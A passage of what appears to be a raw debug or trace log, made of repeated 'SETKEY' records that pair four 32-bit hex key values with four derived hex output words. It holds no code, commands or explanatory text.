2461B296, dwKeys[3] = 1AF84EA6;-[0]=0782EBB3,[1]=389BB92B,[2]=CBC4E78F,[3]=675B52CD; +SETKEY:dwKeys[0] = 12984184, dwKeys[1] = 51A88B93, dwKeys[2] = 1004B367, dwKeys[3] = 3696F8DF;-[0]=36DAA67F,[1]=09C3F4E7,[2]=FA9CAA43,[3]=56031F01; +SETKEY:dwKeys[0] = 617A9634, dwKeys[1] = 3CD9AE88, dwKeys[2] = 62CC800B, dwKeys[3] = F8B3E078;-[0]=91F13EA9,[1]=AEE86C31,[2]=5DB73295,[3]=F12887D7; +SETKEY:dwKeys[0] = FA3098F3, dwKeys[1] = 7372E88B, dwKeys[2] = 2F67706A, dwKeys[3] = EDAA85EA;-[0]=D8CE8712,[1]=E7D7D58A,[2]=14888B2E,[3]=B8173E6C; +SETKEY:dwKeys[0] = A622B0EB, dwKeys[1] = BDA54267, dwKeys[2] = 730932DF, dwKeys[3] = EBCE722D;-[0]=A8CED5BF,[1]=97D78727,[2]=6488D983,[3]=C8176CC1; +SETKEY:dwKeys[0] = 87D8E023, dwKeys[1] = 338FF713, dwKeys[2] = 47E0ACA4, dwKeys[3] = A25E6EC2;-[0]=C6FEF892,[1]=F9E7AA0A,[2]=0AB8F4AE,[3]=A62741EC; +SETKEY:dwKeys[0] = 45034561, dwKeys[1] = 9DA101DE, dwKeys[2] = E7389991, dwKeys[3] = D4AACB62;-[0]=1D8EC2E8,[1]=22979070,[2]=D1C8CED4,[3]=7D577B96; +SETKEY:dwKeys[0] = BF2A0D64, dwKeys[1] = D227F846, dwKeys[2] = 7B314197, dwKeys[3] = 60FE8A5F;-[0]=F13A7281,[1]=CE232019,[2]=3D7C7EBD,[3]=91E3CBFF; +SETKEY:dwKeys[0] = BC0BF332, dwKeys[1] = 77D05354, dwKeys[2] = 92DD4192, dwKeys[3] = 7293606F;-[0]=EE10C852,[1]=D1099ACA,[2]=2256C46E,[3]=8EC9712C; +SETKEY:dwKeys[0] = 96FC9B0E, dwKeys[1] = 6A4BD0D2, dwKeys[2] = 0BCF6EA9, dwKeys[3] = EF8B8D9B;-[0]=17429F0E,[1]=285BCD96,[2]=DB049332,[3]=779B2670; +SETKEY:dwKeys[0] = D498933D, dwKeys[1] = 3525A594, dwKeys[2] = BC8D1188, dwKeys[3] = FF503456;-[0]=362B8DA5,[1]=0932DF3D,[2]=FA6D8199,[3]=56F234DB; +SETKEY:dwKeys[0] = CFD7098C, dwKeys[1] = 3E7D66D3, dwKeys[2] = F31FB494, dwKeys[3] = 2ABCA0C0;-[0]=3035ABE2,[1]=0F2CF97A,[2]=FC73A7DE,[3]=50EC129C; +SETKEY:dwKeys[0] = 81D17CDD, dwKeys[1] = 73F96036, dwKeys[2] = 92BB6494, dwKeys[3] = 074CFEF3;-[0]=B2AF4991,[1]=8DB61B09,[2]=7EE945AD,[3]=D276F0EF; +SETKEY:dwKeys[0] = 28F4383A, dwKeys[1] = 78C10291, dwKeys[2] = 68262283, dwKeys[3] = 71E610EE;-[0]=DBDE2E40,[1]=E4C77CD8,[2]=1798227C,[3]=BB07973E; +SETKEY:dwKeys[0] = DE795093, dwKeys[1] = 131F0D78, dwKeys[2] = 47635266, dwKeys[3] = 668FC01A;-[0]=106A0B88,[1]=2F735910,[2]=DC2C07B4,[3]=70B3B2F6; +SETKEY:dwKeys[0] = 4E1B9ED8, dwKeys[1] = BB894A81, dwKeys[2] = 03DC9A23, dwKeys[3] = 71678087;-[0]=E01AD09D,[1]=DF038205,[2]=2C5CDCA1,[3]=80C369E3; +SETKEY:dwKeys[0] = 47B7E118, dwKeys[1] = 34AD8FAA, dwKeys[2] = 02F2CA44, dwKeys[3] = F7E7E6C3;-[0]=9B924EEE,[1]=A48B1C76,[2]=57D442D2,[3]=FB4BF790; +SETKEY:dwKeys[0] = CA5990D5, dwKeys[1] = 8DED4F40, dwKeys[2] = 5ABD22E0, dwKeys[3] = 14E01FDF;-[0]=F0DD18A4,[1]=CFC44A3C,[2]=3C9B1498,[3]=9004A1DA; +SETKEY:dwKeys[0] = E0B6C692, dwKeys[1] = 06E1F7ED, dwKeys[2] = 09565A0E, dwKeys[3] = 80BE8D63;-[0]=7F21AA74,[1]=4038F8EC,[2]=B367A648,[3]=1FF8130A; +SETKEY:dwKeys[0] = B9159A7B, dwKeys[1] = 408D5C4F, dwKeys[2] = 92B923FC, dwKeys[3] = 48C09053;-[0]=BD2C9925,[1]=8235CBBD,[2]=716A9519,[3]=DDF5205B; +SETKEY:dwKeys[0] = CB699169, dwKeys[1] = A8D1810E, dwKeys[2] = BDD2717B, dwKeys[3] = E1614174;-[0]=0905C897,[1]=361C9A0F,[2]=C543C4AB,[3]=69DC71E9; +SETKEY:dwKeys[0] = 8A0CAA80, dwKeys[1] = DA2619D7, dwKeys[2] = 7A1AC00B, dwKeys[3] = D5975352;-[0]=39DCF0C8,[1]=06C5A250,[2]=F59AFCF4,[3]=590549B6; +SETKEY:dwKeys[0] = 0589C1B7, dwKeys[1] = 033608C6, dwKeys[2] = 56544729, dwKeys[3] = F7017F49;-[0]=4B708562,[1]=7469D7FA,[2]=8736895E,[3]=2BA93C1C; +SETKEY:dwKeys[0] = 586D7EA6, dwKeys[1] = BE3B240D, dwKeys[2] = 63FDC417, dwKeys[3] = 99CDA273;-[0]=1605E186,[1]=291CB31E,[2]=DA43EDBA,[3]=76DC58F8; +SETKEY:dwKeys[0] = A310E9A3, dwKeys[1] = DE6EF766, dwKeys[2] = 2DD848CF, dwKeys[3] = 67F4B458;-[0]=4A527549,[1]=754B27D1,[2]=86147975,[3]=2A8BCC37; +SETKEY:dwKeys[0] = 0AE58CA7, dwKeys[1] = 937C9281, dwKeys[2] = 282F16FE, dwKeys[3] = EABD18A3;-[0]=F4169AA2,[1]=CB0FC83A,[2]=3850969E,[3]=94CF23DC; +SETKEY:dwKeys[0] = 8677D49E, dwKeys[1] = 3E659308, dwKeys[2] = 39A87292, dwKeys[3] = A5478012;-[0]=FD4A406A,[1]=C25312F2,[2]=310C4C56,[3]=9D93F914; +SETKEY:dwKeys[0] = A8FEDA6E, dwKeys[1] = 90A5D6EA, dwKeys[2] = 2CDD8FF2, dwKeys[3] = 88458F28;-[0]=B66C51F5,[1]=8975036D,[2]=7A2A5DC9,[3]=D6B5E88B; +SETKEY:dwKeys[0] = 33D52724, dwKeys[1] = AAA6B932, dwKeys[2] = 49C1567D, dwKeys[3] = AE23DBA0;-[0]=CBD75631,[1]=F4CE04A9,[2]=07915A0D,[3]=AB0EEF4F; +SETKEY:dwKeys[0] = 6DC0B40C, dwKeys[1] = 583C4A9B, dwKeys[2] = D1184550, dwKeys[3] = BC4A57E8;-[0]=5D0B165E,[1]=621244C6,[2]=914D1A62,[3]=3DD2AF20; +SETKEY:dwKeys[0] = E08F9509, dwKeys[1] = CE8DC1BD, dwKeys[2] = 8A0D52BC, dwKeys[3] = 63E5B3D9;-[0]=08877503,[1]=379E279B,[2]=C4C1793F,[3]=685ECC7D; +SETKEY:dwKeys[0] = D6A776AC, dwKeys[1] = 17EA2892, dwKeys[2] = C2FBE7AC, dwKeys[3] = 1E7E9AD2;-[0]=33EBFE5E,[1]=0CF2ACC6,[2]=FFADF262,[3]=53324720; +SETKEY:dwKeys[0] = 031032ED, dwKeys[1] = D2083CDF, dwKeys[2] = C2386535, dwKeys[3] = 4682DC78;-[0]=C7C37B2A,[1]=F8DA29B2,[2]=0B857716,[3]=A71AC254; +SETKEY:dwKeys[0] = 4985776E, dwKeys[1] = 8E205E7A, dwKeys[2] = 660935B8, dwKeys[3] = 8A214B19;-[0]=108AEF2D,[1]=2F93BDB5,[2]=DCCCE311,[3]=70535653; +SETKEY:dwKeys[0] = F08B425B, dwKeys[1] = 8B1AFC1F, dwKeys[2] = B93C1515, dwKeys[3] = 2435742D;-[0]=0324CBB4,[1]=3C3D992C,[2]=CF62C788,[3]=63FD72CA; +SETKEY:dwKeys[0] = DFA9F6B0, dwKeys[1] = 5D5C7E75, dwKeys[2] = ABCC0EBC, dwKeys[3] = E7EB647A;-[0]=CC0AEEAA,[1]=F313BC32,[2]=004CE296,[3]=ACD357D4; +SETKEY:dwKeys[0] = D0EABA8B, dwKeys[1] = 24EBA0EA, dwKeys[2] = 04C3B57C, dwKeys[3] = 7B779733;-[0]=A49275BB,[1]=9B8B2723,[2]=68D47987,[3]=C44BCCC5; +SETKEY:dwKeys[0] = AD072E96, dwKeys[1] = B0D7C20A, dwKeys[2] = ED5C9B4D, dwKeys[3] = 673A5BFD;-[0]=72F60883,[1]=4DEF5A1B,[2]=BEB004BF,[3]=122FB1FD; +SETKEY:dwKeys[0] = EFCBC026, dwKeys[1] = F6ACF1B7, dwKeys[2] = 129B016A, dwKeys[3] = 5979BB97;-[0]=1BF4300A,[1]=24ED6292,[2]=D7B23C36,[3]=7B2D8974; +SETKEY:dwKeys[0] = 76812F8E, dwKeys[1] = BEE7ECBC, dwKeys[2] = B936202E, dwKeys[3] = 9E8440D5;-[0]=0C7BF0A8,[1]=3362A230,[2]=C03DFC94,[3]=6CA249D6; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 8A2FE5F7, dwKeys[1] = EDD7A2BC, dwKeys[2] = F9D6417D, dwKeys[3] = BFCA0182;-[0]=5745AAE8,[1]=685CF870,[2]=9B03A6D4,[3]=379C1396; +SETKEY:dwKeys[0] = 2EAD6342, dwKeys[1] = 13B49BE2, dwKeys[2] = E9104ADA, dwKeys[3] = 991B3256;-[0]=A4F8A757,[1]=9BE1F5CF,[2]=68BEAB6B,[3]=C4211E29; +SETKEY:dwKeys[0] = 354483CA, dwKeys[1] = 27693ECA, dwKeys[2] = 92D60EDB, dwKeys[3] = 41A986F0;-[0]=C12A3ED9,[1]=FE336C41,[2]=0D6C32E5,[3]=A1F387A7; +SETKEY:dwKeys[0] = 1D598FA0, dwKeys[1] = 7958F877, dwKeys[2] = 52F53D44, dwKeys[3] = FF6EFC05;-[0]=AEB1865B,[1]=91A8D4C3,[2]=62F78A67,[3]=CE683F25; +SETKEY:dwKeys[0] = 6DA213FB, dwKeys[1] = 2F70448B, dwKeys[2] = 2E6DB007, dwKeys[3] = 049EDD59;-[0]=E3C01791,[1]=DCD94509,[2]=2F861BAD,[3]=8319AEEF; +SETKEY:dwKeys[0] = 8C9C73D4, dwKeys[1] = 7A8568D6, dwKeys[2] = 1DF8D8CA, dwKeys[3] = F861D42D;-[0]=9574B219,[1]=AA6DE081,[2]=5932BE25,[3]=F5AD0B67; +SETKEY:dwKeys[0] = DADBA480, dwKeys[1] = AC2EF6F6, dwKeys[2] = 186459C3, dwKeys[3] = 9CCAE07B;-[0]=5A0ABFF9,[1]=6513ED61,[2]=964CB3C5,[3]=3AD30687; +SETKEY:dwKeys[0] = A22810FC, dwKeys[1] = 5E0CAB9E, dwKeys[2] = 65CE7065, dwKeys[3] = E2F85031;-[0]=936C4EAD,[1]=AC751C35,[2]=5F2A4291,[3]=F3B5F7D3; +SETKEY:dwKeys[0] = DA291421, dwKeys[1] = 8B4134ED, dwKeys[2] = 842F2197, dwKeys[3] = ADC0C68D;-[0]=3530938D,[1]=0A29C115,[2]=F9769FB1,[3]=55E92AF3; +SETKEY:dwKeys[0] = 0945B427, dwKeys[1] = FB78ABE6, dwKeys[2] = 209D1A99, dwKeys[3] = 296C87CB;-[0]=CC1FC01E,[1]=F3069286,[2]=0059CC22,[3]=ACC67960; +SETKEY:dwKeys[0] = 95E280F4, dwKeys[1] = EBD1DAE8, dwKeys[2] = 0367B983, dwKeys[3] = 368C6F41;-[0]=C784D089,[1]=F89D8211,[2]=0BC2DCB5,[3]=A75D69F7; +SETKEY:dwKeys[0] = F3B3B5DC, dwKeys[1] = 191EBD3E, dwKeys[2] = 06A43A5B, dwKeys[3] = BB3315C5;-[0]=264FA693,[1]=1956F40B,[2]=EA09AAAF,[3]=46961FED; +SETKEY:dwKeys[0] = 65D6C26F, dwKeys[1] = E64BA8CB, dwKeys[2] = 418253AD, dwKeys[3] = CAB3EF1C;-[0]=FDAB032D,[1]=C2B251B5,[2]=31ED0F11,[3]=9D72BA53; +SETKEY:dwKeys[0] = 0A1DF89C, dwKeys[1] = 0EE838F2, dwKeys[2] = A938B715, dwKeys[3] = E66454DF;-[0]=8C4C20B8,[1]=B3557220,[2]=400A2C84,[3]=EC9599C6; +SETKEY:dwKeys[0] = 67FC0826, dwKeys[1] = F9F66283, dwKeys[2] = 1D642CC2, dwKeys[3] = D0740B50;-[0]=9234D582,[1]=AD2D871A,[2]=5E72D9BE,[3]=F2ED6CFC; +SETKEY:dwKeys[0] = E58CE46D, dwKeys[1] = 4B8EF5F0, dwKeys[2] = 6D2E37C0, dwKeys[3] = E584A453;-[0]=FD1EE17C,[1]=C207B3E4,[2]=3158ED40,[3]=9DC75802; +SETKEY:dwKeys[0] = 121479CE, dwKeys[1] = 124D9EFA, dwKeys[2] = D82CE8E8, dwKeys[3] = 523ACAF7;-[0]=1A2F9EC6,[1]=2536CC5E,[2]=D66992FA,[3]=7AF627B8; +SETKEY:dwKeys[0] = 66D4570B, dwKeys[1] = 3FE90CDB, dwKeys[2] = 76EC8136, dwKeys[3] = BE968CB0;-[0]=0C01754A,[1]=331827D2,[2]=C0477976,[3]=6CD8CC34; +SETKEY:dwKeys[0] = 26C8E067, dwKeys[1] = FAEE0AD4, dwKeys[2] = B71679D8, dwKeys[3] = CDFFAC6D;-[0]=F37D62EE,[1]=CC643076,[2]=3F3B6ED2,[3]=93A4DB90; +SETKEY:dwKeys[0] = EEF8EE52, dwKeys[1] = 0D767CD3, dwKeys[2] = 40CDD373, dwKeys[3] = 0591AE89;-[0]=20EBEF4F,[1]=1FF2BDD7,[2]=ECADE373,[3]=40325631; +SETKEY:dwKeys[0] = 0E9A922D, dwKeys[1] = 451828A8, dwKeys[2] = 73C0EE2B, dwKeys[3] = 06489140;-[0]=65013554,[1]=5A1867CC,[2]=A9473968,[3]=05D88C2A; +SETKEY:dwKeys[0] = 87C33AA5, dwKeys[1] = 01BE8AE0, dwKeys[2] = EA07B71D, dwKeys[3] = DE4E51A3;-[0]=3D583C8E,[1]=02416E16,[2]=F11E30B2,[3]=5D8185F0; +SETKEY:dwKeys[0] = E0E822F6, dwKeys[1] = 8486C275, dwKeys[2] = 9BCF16DF, dwKeys[3] = 225CEED9;-[0]=DBC50BFF,[1]=E4DC5967,[2]=178307C3,[3]=BB1CB281; +SETKEY:dwKeys[0] = 8B95E32E, dwKeys[1] = 234FA844, dwKeys[2] = EF6A7307, dwKeys[3] = 1CB693D1;-[0]=7C9F6054,[1]=438632CC,[2]=B0D96C68,[3]=1C46D92A; +SETKEY:dwKeys[0] = 9B5547A5, dwKeys[1] = EF9AC73E, dwKeys[2] = 52A7B1DA, dwKeys[3] = 5E06E042;-[0]=7D30DA23,[1]=422988BB,[2]=B176D61F,[3]=1DE9635D; +SETKEY:dwKeys[0] = F0B60B98, dwKeys[1] = 53AFB1CE, dwKeys[2] = 87E7A254, dwKeys[3] = BEDF89EA;-[0]=2A1FF65D,[1]=1506A4C5,[2]=E659FA61,[3]=4AC64F23; +SETKEY:dwKeys[0] = DCA4FC1D, dwKeys[1] = B7C0130A, dwKeys[2] = 3106828F, dwKeys[3] = EE56ADD9;-[0]=30B9F33E,[1]=0FA0A1A6,[2]=FCFFFF02,[3]=50604A40; +SETKEY:dwKeys[0] = B8B16363, dwKeys[1] = 27BF7374, dwKeys[2] = 65C92531, dwKeys[3] = 84884A07;-[0]=94774BC6,[1]=AB6E195E,[2]=583147FA,[3]=F4AEF2B8; +SETKEY:dwKeys[0] = C977A092, dwKeys[1] = 57BF8204, dwKeys[2] = B390C4C3, dwKeys[3] = 93954466;-[0]=FD76A084,[1]=C26FF21C,[2]=3130ACB8,[3]=9DAF19FA; +SETKEY:dwKeys[0] = 7DE20C2D, dwKeys[1] = 256AA350, dwKeys[2] = 4C015330, dwKeys[3] = C851343D;-[0]=A1FCDF6A,[1]=9EE58DF2,[2]=6DBAD356,[3]=C1256614; +SETKEY:dwKeys[0] = D3291FEA, dwKeys[1] = FC211DE0, dwKeys[2] = 8D7448CE, dwKeys[3] = 68574A42;-[0]=FB1B187B,[1]=C4024AE3,[2]=375D1447,[3]=9BC2A105; +SETKEY:dwKeys[0] = 0919C6BF, dwKeys[1] = D66AD6A3, dwKeys[2] = C18A79F2, dwKeys[3] = 98E7C085;-[0]=714F57A4,[1]=4E56053C,[2]=BD095B98,[3]=1196EEDA; +SETKEY:dwKeys[0] = 60352E5A, dwKeys[1] = 3D4B691B, dwKeys[2] = 794A1517, dwKeys[3] = 7E8F914D;-[0]=BDE95658,[1]=82F004C0,[2]=71AF5A64,[3]=DD30EF26; +SETKEY:dwKeys[0] = B6FA6BB7, dwKeys[1] = B4A07F51, dwKeys[2] = BEAF23F2, dwKeys[3] = 466E8DFA;-[0]=9008A265,[1]=AF11F0FD,[2]=5C4EAE59,[3]=F0D11B1B; +SETKEY:dwKeys[0] = 2C6A5F9A, dwKeys[1] = 2DB95DAB, dwKeys[2] = F03B3916, dwKeys[3] = 17D0BB11;-[0]=2CF3D77D,[1]=13EA85E5,[2]=E0B5DB41,[3]=4C2A6E03; +SETKEY:dwKeys[0] = F62853FB, dwKeys[1] = B23C7F4F, dwKeys[2] = E9AB19E7, dwKeys[3] = CE1208AD;-[0]=FE1EAF68,[1]=C107FDF0,[2]=3258A354,[3]=9EC71616; +SETKEY:dwKeys[0] = 7E31DD61, dwKeys[1] = 15A5347D, dwKeys[2] = AD758B73, dwKeys[3] = F822FCA0;-[0]=1BE31126,[1]=24FA43BE,[2]=D7A51D1A,[3]=7B3AA858; +SETKEY:dwKeys[0] = 9116C567, dwKeys[1] = C68D105F, dwKeys[2] = 7CCE6424, dwKeys[3] = 133AEEBF;-[0]=DA9707C3,[1]=E58E555B,[2]=16D10BFF,[3]=BA4EBEBD; +SETKEY:dwKeys[0] = F86B96A4, dwKeys[1] = BB2D614F, dwKeys[2] = 282574DB, dwKeys[3] = 4B3F627C;-[0]=DA61D17A,[1]=E57883E2,[2]=1627DD46,[3]=BAB86804; +SETKEY:dwKeys[0] = 7F83D717, dwKeys[1] = 41DE8500, dwKeys[2] = 52F73DFC, dwKeys[3] = C6BAE12D;-[0]=84609A06,[1]=BB79C89E,[2]=4826963A,[3]=E4B92378; +SETKEY:dwKeys[0] = 559FA69F, dwKeys[1] = 46E1CD9A, dwKeys[2] = 062A4A8E, dwKeys[3] = 7617BCF4;-[0]=CCF3609D,[1]=F3EA3205,[2]=00B56CA1,[3]=AC2AD9E3; +SETKEY:dwKeys[0] = 4534037C, dwKeys[1] = EC178C67, dwKeys[2] = C5997222, dwKeys[3] = 8C097AD7;-[0]=FF58E604,[1]=C041B49C,[2]=331EEA38,[3]=9F815F7A; +SETKEY:dwKeys[0] = 8E2964B2, dwKeys[1] = 3A1E8DB1, dwKeys[2] = 2C1113BD, dwKeys[3] = 214D4EED;-[0]=5852052A,[1]=674B57B2,[2]=94140916,[3]=388BBC54; +SETKEY:dwKeys[0] = 6920D19C, dwKeys[1] = ED32276A, dwKeys[2] = 5D0A4119, dwKeys[3] = 0B212F0C;-[0]=1BC4DBD4,[1]=24DD894C,[2]=D782D7E8,[3]=7B1D62AA; +SETKEY:dwKeys[0] = B2680DD0, dwKeys[1] = F78E698E, dwKeys[2] = 891AE0ED, dwKeys[3] = 48DB583F;-[0]=969D2509,[1]=A9847791,[2]=5ADB2935,[3]=F6449C77; +SETKEY:dwKeys[0] = 608218A1, dwKeys[1] = 1064E2FD, dwKeys[2] = B153F06C, dwKeys[3] = FBE94E68;-[0]=0F3D30F2,[1]=3024626A,[2]=C37B3CCE,[3]=6FE4898C; +SETKEY:dwKeys[0] = 67162E29, dwKeys[1] = 54A63645, dwKeys[2] = FB39FC5B, dwKeys[3] = 31403BE4;-[0]=C6EA35EC,[1]=F9F36774,[2]=0AAC39D0,[3]=A6338C92; +SETKEY:dwKeys[0] = 51615155, dwKeys[1] = 9A44EE8E, dwKeys[2] = 99E3780C, dwKeys[3] = 5EF67821;-[0]=E8935BB7,[1]=D78A092F,[2]=24D5578B,[3]=884AE2C9; +SETKEY:dwKeys[0] = 4451F4D5, dwKeys[1] = 0F15A01F, dwKeys[2] = 064FBA7B, dwKeys[3] = 1143B485;-[0]=4453B3EA,[1]=7B4AE172,[2]=8815BFD6,[3]=248A0A94; +SETKEY:dwKeys[0] = E084CC62, dwKeys[1] = 1873EB92, dwKeys[2] = 57E93168, dwKeys[3] = 40833BB9;-[0]=51B5D48F,[1]=6EAC8617,[2]=9DF3D8B3,[3]=316C6DF1; +SETKEY:dwKeys[0] = C7D95BF9, dwKeys[1] = DD80838E, dwKeys[2] = 1380E56A, dwKeys[3] = 20970CEC;-[0]=59E02411,[1]=66F97689,[2]=95A6282D,[3]=39399D6F; +SETKEY:dwKeys[0] = D6F91F2B, dwKeys[1] = 0BF8943D, dwKeys[2] = 5D8B820C, dwKeys[3] = 092B494B;-[0]=157DCFF2,[1]=2A649D6A,[2]=D93BC3CE,[3]=75A4768C; +SETKEY:dwKeys[0] = 9249417A, dwKeys[1] = EB8E7812, dwKeys[2] = C6C73409, dwKeys[3] = A7A81B93;-[0]=CC85E045,[1]=F39CB2DD,[2]=00C3EC79,[3]=AC5C593B; +SETKEY:dwKeys[0] = 1F36EBC1, dwKeys[1] = A392B66F, dwKeys[2] = 77B6FEA3, dwKeys[3] = 307539AC;-[0]=893E4777,[1]=B62715EF,[2]=45784B4B,[3]=E9E7FE09; +SETKEY:dwKeys[0] = D77A5599, dwKeys[1] = DF989EEA, dwKeys[2] = 77666162, dwKeys[3] = D4AFB46C;-[0]=BFB33A45,[1]=80AA68DD,[2]=73F53679,[3]=DF6A833B; +SETKEY:dwKeys[0] = A69FE021, dwKeys[1] = 9EB91EA5, dwKeys[2] = 5A242368, dwKeys[3] = 2D7792C2;-[0]=5A98CD20,[1]=65819FB8,[2]=96DEC11C,[3]=3A41745E; +SETKEY:dwKeys[0] = 5B1C2D64, dwKeys[1] = E97C02E2, dwKeys[2] = B8867679, dwKeys[3] = DCC09005;-[0]=1C619BD9,[1]=2378C941,[2]=D02797E5,[3]=7CB822A7; +SETKEY:dwKeys[0] = 4FCDFFF5, dwKeys[1] = 58894C82, dwKeys[2] = 45865B92, dwKeys[3] = A7ED1031;-[0]=59084927,[1]=66111BBF,[2]=954E451B,[3]=39D1F059; +SETKEY:dwKeys[0] = 67B3F0B8, dwKeys[1] = 990D6CAE, dwKeys[2] = E2146785, dwKeys[3] = E4867C5A;-[0]=37341989,[1]=082D4B11,[2]=FB7215B5,[3]=57EDA0F7; +SETKEY:dwKeys[0] = 9EA91F3B, dwKeys[1] = 2B61255F, dwKeys[2] = 957824DA, dwKeys[3] = 2C4EE42E;-[0]=C95EF23C,[1]=F647A0A4,[2]=0518FE00,[3]=A9874B42; +SETKEY:dwKeys[0] = BD28B715, dwKeys[1] = A8CD995B, dwKeys[2] = 32B2B310, dwKeys[3] = 1E71FBDE;-[0]=BF778DF2,[1]=806EDF6A,[2]=733181CE,[3]=DFAE348C; +SETKEY:dwKeys[0] = F8414DDB, dwKeys[1] = 81339357, dwKeys[2] = C6209F9F, dwKeys[3] = 89DDBCBB;-[0]=DA46AC28,[1]=E55FFEB0,[2]=1600A014,[3]=BA9F1556; +SETKEY:dwKeys[0] = 0BD86D40, dwKeys[1] = B4A301A2, dwKeys[2] = DDEA6FB9, dwKeys[3] = B1EB0831;-[0]=574EAD6F,[1]=6857FFF7,[2]=9B08A153,[3]=37971411; +SETKEY:dwKeys[0] = 1BDBCBE0, dwKeys[1] = D31D2702, dwKeys[2] = 891F62FC, dwKeys[3] = CD70A8E6;-[0]=9347FC70,[1]=AC5EAEE8,[2]=5F01F04C,[3]=F39E450E; +SETKEY:dwKeys[0] = 6F5ACC25, dwKeys[1] = F224A0B7, dwKeys[2] = FFE11163, dwKeys[3] = 5F590529;-[0]=ECDFEDDF,[1]=D3C6BF47,[2]=2099E1E3,[3]=8C0654A1; +SETKEY:dwKeys[0] = D8A2A518, dwKeys[1] = D8076037, dwKeys[2] = E863D6BF, dwKeys[3] = 1B42E897;-[0]=9D44FEBF,[1]=A25DAC27,[2]=5102F283,[3]=FD9D47C1; +SETKEY:dwKeys[0] = 5A228B60, dwKeys[1] = 2CFA4E65, dwKeys[2] = 9E74F025, dwKeys[3] = DB1C0058;-[0]=0E157E87,[1]=310C2C1F,[2]=C25372BB,[3]=6ECCC7F9; +SETKEY:dwKeys[0] = AD4DFE9C, dwKeys[1] = 33BA6FEB, dwKeys[2] = F3DC61B2, dwKeys[3] = 89B59ACD;-[0]=E7A0BD77,[1]=D8B9EFEF,[2]=2BE6B14B,[3]=87790409; +SETKEY:dwKeys[0] = 07DDB0E7, dwKeys[1] = B0F572CE, dwKeys[2] = E4516D4B, dwKeys[3] = D0114CED;-[0]=0B440338,[1]=345D51A0,[2]=C7020F04,[3]=6B9DBA46; +SETKEY:dwKeys[0] = C670837F, dwKeys[1] = 6ED7B292, dwKeys[2] = A1A8448F, dwKeys[3] = DDA29DDB;-[0]=1A5F510D,[1]=25460395,[2]=D6195D31,[3]=7A86E873; +SETKEY:dwKeys[0] = 7BC28273, dwKeys[1] = 9B25D65C, dwKeys[2] = 11BAE56A, dwKeys[3] = 710ECBA5;-[0]=E3147335,[1]=DC0D21AD,[2]=2F527F09,[3]=83CDCA4B; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = 2150F39E, dwKeys[1] = 4EA49784, dwKeys[2] = EACEACAB, dwKeys[3] = C7BF7314;-[0]=DBF1C5C2,[1]=E4E8975A,[2]=17B7C9FE,[3]=BB287CBC; +SETKEY:dwKeys[0] = D7E93B6D, dwKeys[1] = A70B3E85, dwKeys[2] = 3905624D, dwKeys[3] = 638A87E6;-[0]=F6699D53,[1]=C970CFCB,[2]=3A2F916F,[3]=96B0242D; +SETKEY:dwKeys[0] = F582D16E, dwKeys[1] = B71B5D84, dwKeys[2] = 3A93DF6D, dwKeys[3] = 8280CB2E;-[0]=EE2CC87C,[1]=D1359AE4,[2]=226AC440,[3]=8EF57102; +SETKEY:dwKeys[0] = 7C844E97, dwKeys[1] = B6604D5B, dwKeys[2] = 7174793F, dwKeys[3] = 03A1E38E;-[0]=85E291F3,[1]=BAFBC36B,[2]=49A49DCF,[3]=E53B288D; +SETKEY:dwKeys[0] = 6CCFE3E8, dwKeys[1] = 942DDD82, dwKeys[2] = F7FEE73A, dwKeys[3] = B732151E;-[0]=ABF07983,[1]=94E92B1B,[2]=67B675BF,[3]=CB29C0FD; +SETKEY:dwKeys[0] = 2D53BA11, dwKeys[1] = 64AEAE16, dwKeys[2] = 0A888795, dwKeys[3] = 8DA864E9;-[0]=4D89A44B,[1]=7290F6D3,[2]=81CFA877,[3]=2D501D35; +SETKEY:dwKeys[0] = 794111F9, dwKeys[1] = AB0C2BB3, dwKeys[2] = 1A0CABAE, dwKeys[3] = 439BD60A;-[0]=07B2325D,[1]=38AB60C5,[2]=CBF43E61,[3]=676B8B23; +SETKEY:dwKeys[0] = 031C44AD, dwKeys[1] = B8ABC65B, dwKeys[2] = 35D659B6, dwKeys[3] = 8CA02998;-[0]=E96E3092,[1]=D677620A,[2]=25283CAE,[3]=89B789EC; +SETKEY:dwKeys[0] = 0A484CE6, dwKeys[1] = B16C4D71, dwKeys[2] = 01BC6463, dwKeys[3] = E38E1AFB;-[0]=637EB204,[1]=5C67E09C,[2]=AF38BE38,[3]=03A70B7A; +SETKEY:dwKeys[0] = 760A9291, dwKeys[1] = 5D190D68, dwKeys[2] = FC63A29E, dwKeys[3] = FD34FB26;-[0]=AD4F2AEE,[1]=92567876,[2]=610926D2,[3]=CD969390; +SETKEY:dwKeys[0] = 1C531563, dwKeys[1] = 2928B107, dwKeys[2] = 7AA2419F, dwKeys[3] = 7E90CE4C;-[0]=6A6229E5,[1]=557B7B7D,[2]=A62425D9,[3]=0ABB909B; +SETKEY:dwKeys[0] = 170E7CA2, dwKeys[1] = A70F2B81, dwKeys[2] = ABF60F92, dwKeys[3] = D9E2F1BE;-[0]=9E580787,[1]=A141551F,[2]=521E0BBB,[3]=FE81BEF9; +SETKEY:dwKeys[0] = 5DD3D750, dwKeys[1] = 5C273A25, dwKeys[2] = 05D49F90, dwKeys[3] = 079D0043;-[0]=803B4295,[1]=BF22100D,[2]=4C7D4EA9,[3]=E0E2FBEB; +SETKEY:dwKeys[0] = 2D5ADEF0, dwKeys[1] = DC76CB20, dwKeys[2] = 0DC403D4, dwKeys[3] = 4D5B8BC4;-[0]=38D450D7,[1]=07CD024F,[2]=F4925CEB,[3]=580DE9A9; +SETKEY:dwKeys[0] = AC3DCE93, dwKeys[1] = 6FB4CEDA, 